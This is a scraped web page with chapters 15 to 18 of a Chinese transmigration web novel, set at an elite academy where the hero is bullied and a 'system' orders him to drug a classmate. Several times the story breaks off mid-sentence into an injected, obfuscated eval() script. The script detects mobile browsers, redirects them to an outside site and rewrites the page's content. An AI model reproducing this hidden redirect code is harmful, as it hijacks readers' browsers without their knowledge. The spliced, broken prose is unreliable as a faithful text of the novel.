“松开。”贺衍眉头蹙起,全身肌肉紧绷,腕部窜劲打算甩开贺琚,但他忘记了这是在水里不是在陆地上,整个人趔趄了一下。 贺衍站稳身体,唇角微抿,另一只手用力扯下了手腕上那只碍眼的爪子。 贺琚没什么反抗的松开了手,只是唇角上扬的弧度变大。 他盯着被贺衍刚刚握住的手腕,白皙的手腕溢出一圈淡淡的红痕,心脏猛地跳动了一下。一头被束缚的野兽。他眸中兴致渐生。找到你的弱点了呢,哥哥。 贺琚的眸中墨色变暗,他轻笑着开口:“怎么我刚来就要走?要不是我扶着,你就摔倒了。不感谢我一下吗?” 贺衍扯了下嘴角,真是贼喊捉贼,“现在不想理你,别逼我动手。” 站在一旁的女生看着贺琚和贺衍的互动,眼睛忽闪,不愧是他新相中的大帅哥,完全没被贺琚这恶魔迷惑,“同学,同学你先别走,你还没告诉我你的名字呢?” 贺衍愣了一下,好像是有这么一回事,他正准备回答—— 贺琚眸中划过一丝不耐,表情微笑,语气平常又无辜:“嵇同学,你在这里搭讪别的男生,你另外的三个男朋友知道吗?” 周围默默关注着这边的人都一脸吃瓜的表情,嵇雅君甚至还听到了几声抽吸声。 气氛骤然尴尬起来。 艹,贺琚这家伙诚心是搞事情吧,她这还怎么勾搭新帅哥。嵇雅君哈哈笑了两声,立刻转身,表情一变,咬着牙发誓,贺琚你小子别落在我手里。 碍事的人终于走了,贺琚手指轻弹了一下水面,激起小小的水花。 “这下还不谢谢我吗?”贺琚的眼眸被浓墨浸染,他向着贺衍逼近,刻意压低声音,“哥哥,我是不是很听话,没有在别人面前喊你哥哥。” 贺衍脸一下子变臭了,他抿了抿唇,刚要开口—— 下一秒,贺琚就向后移拉开了两人的距离,眉眼弯弯,“刚才是跟你开玩笑的,要我教你游泳吗?我技术很好哦~” 贺琚笑意加深,眼底微微泛起波澜,希望他亲爱的哥哥能一直这么有趣,不然那就太没意思了。 “贺琚,贺琚,你刚才游那么快干什么,我根本就跟不上。”方盛寒甩了甩头上的水花,金色的卷发在阳光下透着光,他注视着贺琚,有些不开心地垂着眼睛。 贺琚唇角的弧度微不可查的变小,片刻又挂上了一如既往的微笑,他垂下眼睛,睫毛微颤,“抱歉,我刚才没听见。” 方盛寒揉了揉脑袋,“其实你那时候都游远了,听不见也正常——艹,你小子怎么在这!” 贺衍眉头微微蹙起,那个在校门口发癫的金发鸡窝头,看样子他和贺琚很熟。果然古话说得没错,物以类聚人以群分。 方盛寒眼珠瞪圆,脸上满是惊讶,绿色的眼珠上下打量着贺衍,视线在他裸|露的上半身流连,这家伙的身材—— 艹,他刚才在想什么,方盛寒脸色沉下来,咄咄逼人,“贺琚是被你叫来的吗,难道你又想欺负——” 又?贺衍面无表情地看了一眼贺琚。 贺琚音色变低变轻,“方盛寒,你想多了,是我自己想过来的。” 方盛寒完全不信,“贺琚,你可别太善良了。圣洛莱索可是我的地盘,我不会让这家伙再动手欺负你的。” 贺衍轻笑出声,方盛寒,这个金发鸡窝头就是方盛寒。贺衍眸色骤然变冷,眼睛微微眯起,终于让他把名字和脸给对上了。 “笑什么笑,”方盛寒嗤笑,语气里含着怒意,“你不会以为被贺家接回来就可以作威作福了吧,难道你真以自己可以这么随便欺负贺琚。” 既然系统没出现,贺衍微眯了下眼,他盯着方盛寒,体形消瘦,肌肉不多,就是水里不好行动。 贺琚眼神闪烁,他意识到贺衍想干什么了,他那个眼神,和那天在家里走廊上的很像。 贺琚眨了眨眼,要是现在打了方盛寒,那哥哥可能就在学院里待不成了,这可不行啊,他还没玩够呢。 “方盛寒,你别说了。”贺琚佯装发怒,沿着边上的扶梯离开了泳池。 “别以为我会就这么放过你。”方盛寒表情阴森,直勾勾地看向贺衍。话音刚落,他也连忙从泳池里离开,“贺琚,你等我一下。你别生气,我只是想替你出……” 声音随着距离的增加,逐渐消失在水面。 走了啊,贺衍地收回视线,眼底闪过一丝遗憾。方盛寒和贺琚,这两个家伙,哪个都不是什么好东西。 方盛寒完全没有掩饰他的声音,周围吃瓜的一群人眼睛睁得比刚才还大,看向贺衍的神情都有些不太对。 时不时地窃窃私语传到贺衍耳边,还有更多的声音被周围的池水吞噬。 贺衍心无旁骛地练习着游泳动作,眉目冷淡。 游泳课结束。 游泳馆的淋浴间在更衣室旁边,淋浴间都是单人隔间。 贺衍从浴室门口的储物柜里拿出一条新浴巾,找到一个没人的隔间,关上了门。 他打开淋浴头,花洒中的水流淅淅沥沥,热气熏腾,贺衍被烫了一下。脑海中忽然闪过模糊的画面,他摇了摇头,神色忽然一变。 门外有动静,贺衍立刻拧动门把手。门从外面被抵住了,打不开。 贺衍眼睛微眨,怒意涌上眉梢。 不加掩饰的嬉笑和嘲弄声变大,充斥在耳畔,仿佛咒语一样。 脑海中的画面逐渐清晰,和自己面容一样的男生浑身颤抖,呼出的哈气在空气中凝结成白雾。他挣扎着试图打开门,甚至想要攀爬到旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冷气下沉,比刚才还要令人难以忍受的寒气蔓延全身。贺衍打了个喷嚏,他全身上下除了一条泳裤之外没有别的东西。浴巾也早已经湿透了。 不能离开淋浴间,贺衍歪了歪头,那他可以离开这个隔间吧。贺衍活动身体,伸手够到隔间的最上方,抓紧,双臂用力,攀上厚厚的磨砂玻璃,跳出隔间。 没被阻止,系统甚至没有任何提示音。 贺衍抿唇,试探性地走向浴室最外侧的大门,手指触碰门的瞬间—— [宿主,我已经警告过你了,不要破坏剧情。] 他退回浴室内,打开最外侧的柜子,从里面拿出一件浴袍披在了身上。 贺衍靠在墙角,捂着脸低笑了起来,眼底是一片冷意,真是有意思,这个系统到底是什么东西。 窗外黄昏已至,枫叶碧绿招展,随风舞动。 诺布莱斯别墅区。 贺琚正在跟贺忠载通话,汇报这两天公司的进度。 末了,正准备挂断电话的时候,贺忠载突然问道:“你和贺衍一个班,有见到他跟裴屷接触吗?” 糟了,看来他的哥哥没和贺忠载说过他没被分到一班啊。 贺琚眨了下眼,到底要不要帮忙瞒着呢。 他的笑容扩大,“哥哥,好像没和我一个班呢,他没告诉你吗?” 16. 第 16 章 贺衍靠在墙角,闭目养神。 即便身上裹了好几层浴袍,但是他依旧感到冷。贺衍打了个寒颤,唇角绷紧,不会是要发烧了吧? 身体有些乏力,他揉捏有些沉重的太阳穴。天色渐暗,浴室里的灯自动打开了。 现在是晚上七点,距离十点还有三个小时。要是在这里再待三个小时,他不知道自己的身体状况会变成什么样。 不对,贺衍猛地睁开了眼,他明明记得游泳馆的名牌上写的闭馆时间是晚上十点半,立秋之后才会变成十点。系统是真的不知道这一点吗,还是说他只是机械地照搬原书里的剧情给自己发布所谓的任务点。 贺衍转过身,将额头抵在瓷砖上。凉意让他的大脑清醒了些许,贺衍的声音微哑,“系统,我记得游泳馆闭馆时间不是晚上十点。” 系统像是反应迟缓的机器,大概过了有几十秒才回复:[只要宿主在游泳馆闭馆之后离开就行。] 贺衍定定地看着储物柜最上方的电表,只要闭馆之后就能离开,那他可不想在这里干等三个多小时。 二十分钟后。 游泳馆安保室。 监控大屏,画面突然暗下去一大半,游泳馆上方的几盏吊灯也瞬间熄灭。 “咋回事,怎么一多半的地方都黑了。” “我看大部分监控还正常,应该是某个主干线短路了。我打电话让师傅来排查一下,真是奇了怪了,开学前不是刚检修过一次吗?” …… “跟主管打过电话了,咱们先去检查一遍游泳馆还有没有人,告诉一下他们情况,今天先闭馆吧。” 五分钟后,游泳馆的大喇叭:[因电路故障,今天游泳馆提前闭馆,请还在馆内的非工作人员半小时内离开。] 十分钟后,穿着工作服的人推开了浴室大门,他拿着手电筒往漆黑的房间里扫了扫,一身白,他瞳孔猛缩,尖叫马上就要溢出喉咙,才发现那里站着是一个穿着好几层浴袍的男生。 有毛病吧,浴室TM的都黑成这样了,还不离开,站这里是要吓唬谁呢。 工作人员深吸一口气,要保持着良好的工作素养,而且今天提前闭馆,他能提前休息几个小时,“游泳池今天提前闭馆了,刚才已经通知过了,快点离开吧。” 说话的男生音色喑哑,还带着一些疲意:“游泳馆已经闭馆了,我能离开了对吗?” 工作人员立刻点头,心里吐槽,这人是不是有毛病,怎么非得重复自己说过的话,“没错。” 但是这男生还没动,工作人员再次深呼一口气,“你还不走吗?” [是的,宿主,您现在可以离开了。] 贺衍唇角勾起小小的弧度,“嗯,我现在就离开。” 工作人员走进后检查了一遍,确认里面没有其他人了,他关门离开浴室。准备继续检查更衣室,他的手刚碰到更衣室大门的把手,门就从里面开了。 开门的男生脸颊泛红,眼尾也挂着些许红意,唇色却很苍白,但那双眼睛很亮,盛满星河一样,让人移不开眼。 喑哑的声音从他的口中传出:“如果维修工来了,直接到浴室就好,应该是浴室的电路有问题,导致其他地方断电了。” 工作人员愣在了那里,呆呆点了点头。等到人没影了,他才反应过来,不对啊,刚才那个声音,不就是浴室里那个脑子有病的“男鬼”,他怎么知道是浴室有问题的。 九月的夜风并不凉,甚至还带着稍许的温热,但贺衍还是忍不住打了个冷颤。 圣赛尔公寓附近的超市,货架上的品牌名字都很陌生,贺衍买了一盒便当,就花了一百二十联邦币。 虽然很贵,但是味道和便利店普通的饭也没太大区别。 眼皮好沉,头也好晕,贺衍躺在床上,身体蜷缩着,蚕丝被将他包裹住。他摸了摸自己的额头,好像真的发烧了。他记得宿舍里有退烧药,贺衍迷糊地想着,他得去吃药…… 宿舍的灯还亮着,床上的人已经闭上了眼睛,睫毛不时地颤动,看起来是在做梦。 华国顶尖律师事务所。 午餐时间,新来的实习律师趁着空闲,正在和带她的年轻男律师聊天。 “表哥,我不是说我前段在网上淘到了一本小说,昨天我终于把这本书给看完了。” 女生把这本书拿出来递给男律师,封皮已经褪色,书名都看不清楚,甚至连书页的边角也已经泛黄卷边,看起来有些年头了。 说话的女生的脸皱在一起像是小笼包一样,“你不知道,我看的时候有多纠结。这书好看是好看,但是,但是里面那个恶毒炮灰,他的名字居然跟贺律师一模一样。你能懂我的心情吗?” 男律师笑出声,示意女生继续说。 “你能想象贺律师跟个绿茶一样,矫揉造作地去勾引人,甚至被欺负也不反抗,只会哭哭啼啼地告状,甚至还做出给别人下药然后还试图绑|架人这么刑的事情吗?” “我知道我不应该把贺律师代到这本书里,但是名字一模一样,我不想这样但是大脑它不听话啊?” 男律师唇角勾起来,“你说,要是那位冰冰冷冷的大律师知道这件事,会是什么表情?” 女生睁大眼睛,“表哥,你别笑了,我有点害怕。” 律所二楼的楼梯上下来一个西装革履的青年,男律师眼睛一亮,“贺律师,过来一下,我有事要跟你说?” 被称为贺律师的男人面容英俊,周身气场很强,看着难以接近。不过眼下的泪痣削弱了这份冷漠,也让整张脸看着更加惑人。 他掀起眼皮,往这边看了一眼,踱步走了过来,“有什么事吗?” 刚才在说话的实习律师此刻正襟危坐,手还在不断翻着资料,认真的模样和刚才判若两人。 男律师把那本泛黄的小说递给了他,眸中满是打趣,“贺律师,推荐你看看这本书,里面有个人物的名字和你一模一样,都叫贺衍。” “没时间看。” 男律师眨了眨眼,“如果你看完并且告诉我读后感,我就把风投公司那个案子给你。” 贺衍思索了片刻,“成交。” 贺衍回到位置上翻了几下,工作的电话忽然响了。贺衍合上书,把案子相关的材料装到包里,犹豫了一下,把那本书也装进来了。 贺衍开车行驶在路上,距离目的地还有三公里。 转角处,一辆货车失去了控制,横冲直撞向着贺衍驶来,他根本来不及打方向盘。巨大的冲力将轿车瞬间掀翻,贺衍的眼前一黑,天旋地转,彻底失去意识前,他看到了一本发光的书。 谁的电话,好吵,贺衍挣扎着睁开眼睛,全身上下像是被碾压过一样,累得连一根手指都不想动弹。 贺衍脸色潮红,眼睛像是蒙上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457216|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层雾,嘴唇干燥地起皮,眼眶周围的皮肤红的厉害。 头疼欲裂,贺衍双手抵着额头,好烫,他刚才没吃药吗? 他的右眼下方,一颗原来没有过的泪痣出现在了那里。 意识逐渐回笼,贺衍的神色愈发清明,怪不得那个系统会说自己和原书里的贺衍不同,毕竟根本不是一个人,怎么可能相同。 他都记起来了,贺衍抿唇苦笑。 上辈子的记忆如潮水般侵袭,贺衍眼神涣散,真是完全想不到,他也成为穿越大军的一员了。真是过于俗套的穿越梗,从孤儿院到顶级律所,他的人生规划里可从来没有穿越这一项。 电话又响起来了,贺衍扫了一眼来电显示,贺壹。他揉了下额头,撑着身体找到退烧药,咽了下去,才接通了电话。 但是出声的并不是贺壹的声音。 贺忠载隐含怒意的声音穿透手机,“贺衍,你胆子可真是大啊,给你打了六次,现在才接通。你为什么没有告诉我你没被分在一班,你把我说过的话都当成耳旁风了吗?” 贺衍眉头蹙起,把手机拿得离耳朵远了一点。他本来也没想过这件事能瞒多久,只是没想到贺忠载这么快就知道了这件事,才两天而已。 “阳奉阴违这事我比你熟,但是在我这里行不通。”贺忠载哼笑一声,“你奶奶的医药费我随时可以断,你应该清楚我的意思。” 贺衍的声音比刚才还要哑,他强撑着问道:“我奶奶的电话为什么打不通?” 贺忠载迟疑了一下,“你生病了?” 贺衍抿唇,再问了一遍刚才的问题。 “医院那边说一切都正常,打不通电话是你的问题。” 贺忠载眉宇阴沉,心底难得出现的一丝关心也消失了,语气强硬,“明天你就到一班去,我已经跟圣洛莱索的人打过招呼了,明天会有人带你过去的。” “还有,我会在一个月后给你举办生日宴,到时候我会向外界公布你的存在。在这之前,你必须跟裴屷搞好关系,把他邀请到宴会上。明白我的意思吗?” [剧情点任务:邀请裴屷参加生日宴,并在宴会上给裴屷下药。] 下药?贺衍大脑宕机了,他抵着自己沉重的大脑,是自己脑子烧得太厉害了吗,怎么又听到那个该死的电子音了。 [经主系统研判,剧情维护系统101以后将采用颁布任务的形式提醒宿主。邀请裴屷参加生日宴会,并对其下药属于原书重大剧情,因此提前一个月颁布,请宿主务必完成。任务失败,直接抹杀。] 贺衍表情森然冰冷,实在称不上愉快,真是“与时俱进”的系统啊。 电话已经被那头挂断了,贺衍盯着手机,半晌没有动作。他把手机放到桌面,重新缩回了被子里。 他的头很疼,但大脑却从来没有比现在更清楚过。贺衍的睫毛忽闪,回忆起上辈子二十多年的经历,贺衍发现自己这些天的做法实在是过于天真了。以暴制暴,在这个阶级差距太大的地方是行不通的。 借力打力,狐假虎威,未尝不是一种好办法。 至于生日宴,兵来将挡水来土掩,他连裴屷什么性格都不清楚,现在想再多都没用。但那个方盛寒,贺衍眯了眯眼,不管是上辈子在孤儿院,还是这辈子小时候被几个混混围着殴打勒索,他都没有像现在这么狼狈过。 他怎么可能不“回报”他。 17. 第 17 章 圣洛莱索学院论坛。 最上方飘红的帖子[扒一扒新来的那个特优生],不到十分钟,就已经有一百多条回复。 1L:有人今天下午去上游泳课了吗?新转学过来的那个特优生有大瓜 2L:特优生有什么好扒的,今年有快六十个新的特优生吧,楼主说的是哪个? 3L:不是新生,是高三年级的转学生,在四班,大前天闹得沸沸扬扬的那个帖子,就是方少点名要整的那个特优生,昨天我终于在游泳课上见到真人了。 4L:和照片有啥区别 5L:+1 6L:同问 …… 15L:只能说比照片好看太多。但这不是重点,重点是,我知道为什么方少要整他了。 16L:为什么,快说快说,这特优生怎么一转学就惹到方少了。 17L:我也想问,那个特优生不是从那个穷乡僻壤的略阿州来的吗,天南地北差十万八千里的,怎么跟方少扯上关系了。 18L:这个特优生的名字你们知道吧,想想他姓什么。 19L:别当谜语人,我不想想。 20L:不就是姓贺吗,我刚才去扒了,叫贺衍,全联邦姓贺的多了去了。 21L:不会是我想的那样吧,能和方少扯上关系的,还姓贺的,就只有我男神了…… 22L:难道这人和贺琚?但是贺家本家就在淮新,我也没听说贺家有什么亲戚在略阿州那破地方吧。 …… 58L:要真是贺家的人,怎么可能是特优生,我见过他,他胸前的徽章就是纯灰的,这可做不了假吧。 59L:楼主呢,到底看到什么了,到现在你都没说。不会是钓鱼贴吧,一会儿我就去举报给你封了。 …… 88L:不好意思,刚才上厕所去了,没带手机。今天下午我在游泳馆,看到那个特优生对贺琚脸色很差,似乎是在骂他还是怎么,还把贺琚的手给甩开了。后面方少还差点和那个特优生吵起来。我那时候特地游过去躲到柱子后面了,听得特别清楚,方少说那个贺衍是被贺家接回来的。你们细品,多的我就不说了。 89L:贺衍什么狗屁,敢对我男神甩脸色看。 91L:楼主应该不是男生吧,今天下午在男浴室,那个贺衍被整惨了。他关在淋浴隔间里被浇了快半小时的冰水,我最开始在他旁边的那个隔间里,我都觉得冷得受不了直接换位置了。 91L:卧槽,不会真是私生子吧。方少虽然跋扈,但是上次那么整一个人还是因为那人不知道好歹的去调戏贺琚。(话说方少对贺真没意思吗,虽然我初中和方少一个学校,也知道他交过好几个女朋友) 92L:楼上可真敢说 93L:那个特优生真TM不想活了,一个私生子居然还敢这么能耐,谁给他的勇气让他欺负贺琚的。 94L:我也觉得,不管真假,这人欺负贺琚这事肯定没跑。他今天下午的事纯粹是活该。 95L:我也觉得,这人自作自受,穷乡僻壤的地方出来的贱民。 96L:贺家前几天的私人飞机的确到略阿州去了。私生子这事估计没跑。 97L:其实我也听说过一些小道消息,贺琚没能准时上学,都是因为那个私生子把贺琚推下楼了,不过万幸的是贺琚没有伤到要害。 98L:我拳头硬了 …… 107L:你们是真敢讨论啊,说说特优生也就算了,居然敢扒到A级学生的隐私,真不怕被那些正主知道啊。我猜这帖子过不了多久就会被删了。 嵇雅君刚看完最新连载的两集电视剧,她无聊地打了个哈欠,趴在床上随手点开了圣洛莱索论坛。 特优生? 嵇雅君点开这条帖子,眼睛越睁越大,瞬间就精神了。今天下午和自己失之交臂的那个帅哥,是贺家的私生子?但是昨天明明是贺琚那家伙主动来招惹贺衍的,怎么帖子里就变成贺衍欺负贺琚了? 嵇雅君在输入框打了几行字,正准备替贺衍解释一下。刚点击发送,系统就提示帖子已经不存在了。 虽然帖子是被封了,但是这件事一传十十传百,一夜时间,几乎大半个圣洛莱索的学生都知道了。 第二天清晨,阳光透过窗帘进入房间,在地面上留下斑驳的光影。 贺衍坐起来关闭了边震动边响的闹铃。 昨天的退烧药药效还挺不错,今天已经退烧了。 贺衍的眼角还有些发红,但不管是精神还是体力都恢复到了平常的七八分。 他走进洗手间,洗了把脸,清晨的水比其他时候都要凉一些,贺衍眨了眨眼睛,睫毛上还留着几颗水珠。 贺衍手里拿着牙刷,嘴里的泡沫变多,漫不经心地看向镜子,动作忽然定住了。 贺衍凑近镜子,手指摩挲着眼下的泪痣,奇怪,他之前有这颗痣吗?他吐掉口中的泡沫,疑惑很快就抛到脑后。 贺衍单肩挎着书包,走出了圣赛尔公寓。这时候刚过七点,公寓前的人很少。 今天是个艳阳天,万里晴空。 贺衍唇角微微上扬,心情也跟着好上了几分。 摆渡车整齐地停靠在圣赛尔公寓前的泊车位。 他登上一辆车,很快,摆渡车就驶向人工湖。 “师傅,等我三分钟。” 贺衍快步到人工湖边的亭子那里,课本果然都已经干了,只是上面的墨迹都已经散了,不能再看了。 而且不知道被谁收起来摞成一叠,整齐地摆放在椅子的一侧。 贺衍把书放进书包里,打算中午带回宿舍。 他再次坐上摆渡车,到达一餐厅。 因为去人工湖耽误了一些时间,现在这个时间段,一餐厅正是人最多的时候。 那些人看着贺衍,窃窃私语。 贺衍眉头微蹙,这些人的眼神带着明显的厌恶和蔑视。 窗口的饭菜散发着迷人的香味,贺衍大步越过人群,没有把这些人放在心上。 德伦丘斯一楼,四班。 贺衍背着书包走进教室的时候,班里基本上已经来齐了。 几乎所有人在他走进来的瞬间都齐刷刷地看着他,目光和餐厅里的那些人如出一辙。 安东对着迈尔斯努了努嘴,幸灾乐祸地笑起来。 贺衍目不斜视,表情平静地将书包放到了桌面上,发出了闷闷的响声,声音不大,但在安静的教室里尤为明显。 有些古怪了,全校都是这种奇怪的氛围,而且针对的对象就是自己,他到底忽略什么了?贺衍敛眸,他摩挲着手中的黑笔,全校范围内的消息流通,一定有特殊的渠道。 贺衍眨了下眼,眼睛亮起来,对,他都快忘记了,还有圣洛莱索学院论坛这东西。 贺衍打开论坛界面。 论坛首页的十几条帖子,点开之后都是在骂贺衍,而且从头到尾真正提到的,也只有他一个人的名字。大多评论都提到了昨晚被删的那个帖子。 贺衍眸色微沉,他大致知道是怎么一回事了。 私生子吗?他可不认为在圣洛莱索学院,私生子是一个很罕见的事情。 但这种仿佛捅了马蜂窝一样的连锁反应,可不是因为简简单单的私生子这件事吧。 流言蜚语,舆论的力量,能够轻易改变公众的态度,有时候的确轻而易举就能压垮一个人。贺衍眸色变深,他合上手机,表情坦然自若,只是,这种程度他上辈子见得太多了。 贺衍没有再想这件事,思绪回到了昨晚,他那时候脑子昏沉,现在想起来,昨晚的那通电话,贺忠载言辞凿凿,他今天会转到一班。 转到一班去?贺衍微眯了下眼睛,一班,他只知道裴屷和贺琚在一班。 贺忠载昨晚说会有人带着他去一班,贺衍抿了下唇,总有种不好的预感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457217|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二节下课大课间,贺衍趴在桌子上小憩。马英帆走过来,用力敲了敲贺衍的书桌,“能出去聊聊吗?” 走廊的尽头,阳光透过彩色的玻璃照到地面上,也打在了贺衍和马英帆的身上。 马英帆深呼吸,语气生硬,带着难掩的气愤,“贺衍,我真是看错你了。我真想不到你会是这样的人!” 贺衍垂着眼,没有说话,光影斑驳,看不太清他的神色。 “你居然欺负贺琚那么好的人。本来你作为私……我现在才知道,贺琚前几天没能来上学,都是因为你把他推下楼——” 周围突然骚动起来。 “哥哥把我怎么了吗?” 熟悉的腔调里带着令人讨厌的味道,贺衍转过身,果不其然。 挺鼻薄唇,眸眼含笑。 马英帆结巴起来,“贺,贺琚,你怎么来我们这里了。” 贺琚走到贺衍身边,对着贺衍眨了眨眼,巧笑嫣嫣,“当然是来找哥哥了。这位同学,能让我和贺衍单独说一会儿话吗?” 马英帆傻愣地点头,然后顺拐着离开了。 “哥哥,不会是早知道是我吧,怎么一点都不惊讶。” 天外的云层移动,斑驳的光影变幻,日光穿过窗户打在两个人的脸上。 贺琚的视线凝聚到贺衍眼下的一处,黑眸中划过一丝疑惑,这个地方原来有这颗泪痣吗? 贺琚轻笑,眼底一篇索然,听说有泪痣的人,终生都会被爱情所困。真是想象不到贺衍会被这种无聊的感情困住,说不定也会变得无趣起来。 贺琚漫不经心地笑了下,“哥哥,收拾一下你的书,我们走吧。” “你一直都是这样吗?” 贺琚眼睛微眯,歪了下头,脸上依旧带着笑意,“什么意思?” 贺衍也笑了下,那是贺琚之前从来没见过的笑容,那个表情让他有种被看透的战栗。 “没什么,等我五分钟。” 两人擦肩而过,贺琚盯着贺衍的背影,黑眸中的墨色翻滚,哥哥,好像有哪里变了。 贺琚的瞳孔轻颤,呼吸微微急促,但嘴角的笑意扩大,但是变得更有意思了。 贺衍走进教室,轻轻敲了敲马英帆的桌面,声音平淡地说道:“我没有做过那些事。” 马英帆本还在呆滞,忽然就站了起来,他看着贺衍离开了四班的教室,失落和后悔像潮水一般袭来,他好像不该那么说,他好像没机会成为贺衍的朋友了。 一班的教室在二楼东侧,要么直接坐电梯,要么绕过德伦丘斯的大厅,从外侧的走廊绕一大圈在另一侧的楼梯上去。 一般人都会选择坐电梯,但显而易见,贺琚不是。 一路上,几乎所有的学生都在看着他们。 贺琚很显然已经习惯并且享受这种瞩目,他轻轻勾起唇角,和一旁面无表情的贺衍形成了鲜明对比。 贺琚脚步变缓,“对了,哥哥,你的宿舍也换到诺布莱斯区了。不过,学院现在来不及再准备一套新的别墅,所以,就要委屈哥哥和我住在一起了。” 贺衍点了点头,表情几乎没变化,接下来也没有再分给贺琚半分注意。 啊,居然是这种反应吗,贺琚微眯了下眼。 “对了,还有一件事。爸爸肯定没有告诉哥哥吧。”贺琚略微压低声线,像是羽毛轻拂耳畔一样,勾的人痒痒的,“裴屷今天下午选的课程是击剑。” 贺衍终于看了贺琚一眼,“这和我有什么关系?” 一楼的走廊尽头,拐角处就是通往二楼的阶梯。贺琚却停下了脚步,贺衍也只好停下来。 贺琚眼睛几乎眨也不眨地观察着贺衍的表情,他轻声低语:“爸爸已经把你选的其他课改成这个了,而且明天下午的你选的课也被改成和裴屷一样的马术课了。” 贺琚狭长的眉眼满是笑意,冷漠和戏谑同时出现在他的脸上,“哥哥,你觉得现在的你像什么呢?” 18. 第 18 章 贺琚眸中闪过似有若无的期待,哥哥会是什么样的反应呢,气愤,恼怒,生气,还是说会压抑不住情绪地再次提起自己的衣领。 贺琚的目光轻轻地攀到贺衍的脸侧,饶有兴致地观察着他的表情。这么说起来,他的眼尾今天好像一直泛着红,眼睛也像是覆上了一层薄薄的水雾,泛着盈盈的光,动人心魄,比昨天平添了几分姝色,倒比昨天看着脆弱了几分。 贺琚忽然晃了下神。 昨天他离开游泳馆之后,难道发生什么事了吗?还没等贺琚细想,就被贺衍的话夺去了注意力。 “你想是什么就是什么吧。”贺衍的语气平静,甚至还有些无所谓。 贺琚有些错愕,他的鼻尖微颤,怎么能是这种反应呢,他明明那么期待,为什么不把注意力放在自己身上呢,明明是自己的玩具。贺琚笑意凝固在脸上,眸色黑得可怕,他微微眯起眼睛,“哥哥,明明是我的语气不对,为什么你不生气呢?” 贺衍手指轻揉太阳穴,跟贺琚说话真费劲,这家伙就不能有话直说吗,“你绕了这么多路上二楼,就是想说这些废话吗?” 终于看向自己了,他眨了眨眼,把那种诡异的满足感抛到了脑后。 “对不起,哥哥,是我错了。可我只不过是想和哥哥多相处一会儿罢了。而且,我还想着中午和哥哥一起吃饭呢?毕竟我的钱都给哥哥了。”贺琚笑了笑,“别着急拒绝,如果哥哥和我一起吃饭,那我就告诉哥哥我的银行卡号。” 贺衍掀了眼皮,“先告诉我,不然我就不还你了。毕竟,你应该也知道贺忠载想让我干什么,他应该不会吝啬这些钱。” 贺忠载为什么不让贺琚去跟裴屷示好,他目前还没搞清,但昨晚贺忠载的话,让他更加确定了自己还有某种的价值,而且是贺琚不能替代的价值。所谓的价值,贺衍眸底闪过一丝嘲意。 可是贺琚是这本书的主角,而且这也无法解释为什么贺忠载会对贺琚如此看重。 贺衍想到了刚到这里的那个晚上,贺忠载话语含糊的解释,他微微眯了下眼,或许不是贺琚不能去做这件事,而是贺琚本身有比这更要重要的价值。 贺衍垂眸沉思,他绕过贺琚,径直走上楼梯。 哥哥怎么突然之间学聪明了呢。明明是我的玩具,为什么在自己没有玩腻之前,就有人想要插手抢走呢。柔和光晕打在贺琚的头顶,衬得他的面容愈发俊美,像是白玉,但此刻这玉上却骤然出现了些许裂痕。 贺琚很快就恢复了一如既往的标准微笑,眼底却涌动着暗流,快步追上贺衍。 二楼,一班。 方盛寒眼底冒火,他紧盯着一班的大门,唇瓣越抿越紧,他完全没想到贺忠载居然会真的管这种事情,居然还顺藤摸瓜找到了是自己的手笔,半夜他爹甚至打电话亲自把他警告了一顿,还扣了他一个月的钱。 那个私生子真是好样的,以为到了一班,他就不敢把他怎么样了吗。他老子远在天边,就算再宝贝这个私生子又怎么样,圣洛莱索可是自己的地盘。 方盛寒瞥了一眼坐在窗户旁边的裴屷,暗啧了一声,只要避开裴屷就好了,其他的都好说。 现在距离上课只有五分钟,一班的学生基本上都在,有的人在说话,有的人在睡觉,和普通的班级也没什么区别。 一班有三十个座位,但实际上只有二十八个学生。 S级的只有裴屷一个人,圣洛莱索全学院的A级学生都在这里,剩下的人都是成绩拔尖的B级学生。 路德维格看了眼手表,又再次问了一遍身旁在玩篮球的红发雀斑男,“埃迪,你确定你那个小表弟没瞎说,怎么都快上课了,也没见到贺琚领着人上来。” 埃迪·道蒂咧着嘴笑了下,“方盛寒昨天把人收拾得那么惨,你还没满意啊,还想欺负他一顿。” 路德维格翻了个白眼,“我有那么恶毒吗。既然今天贺琚把人领上来了,就说明他的确是贺家的人,不管是不是私生子。打狗还要看主人,我表面上至少也得为昨天的失礼道歉。” 路德维格挑了下眉,完全忘记了昨天的教训,他舔了一下嘴唇,“你说我中午请贺衍吃饭,诺布莱斯餐厅的包间怎么样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 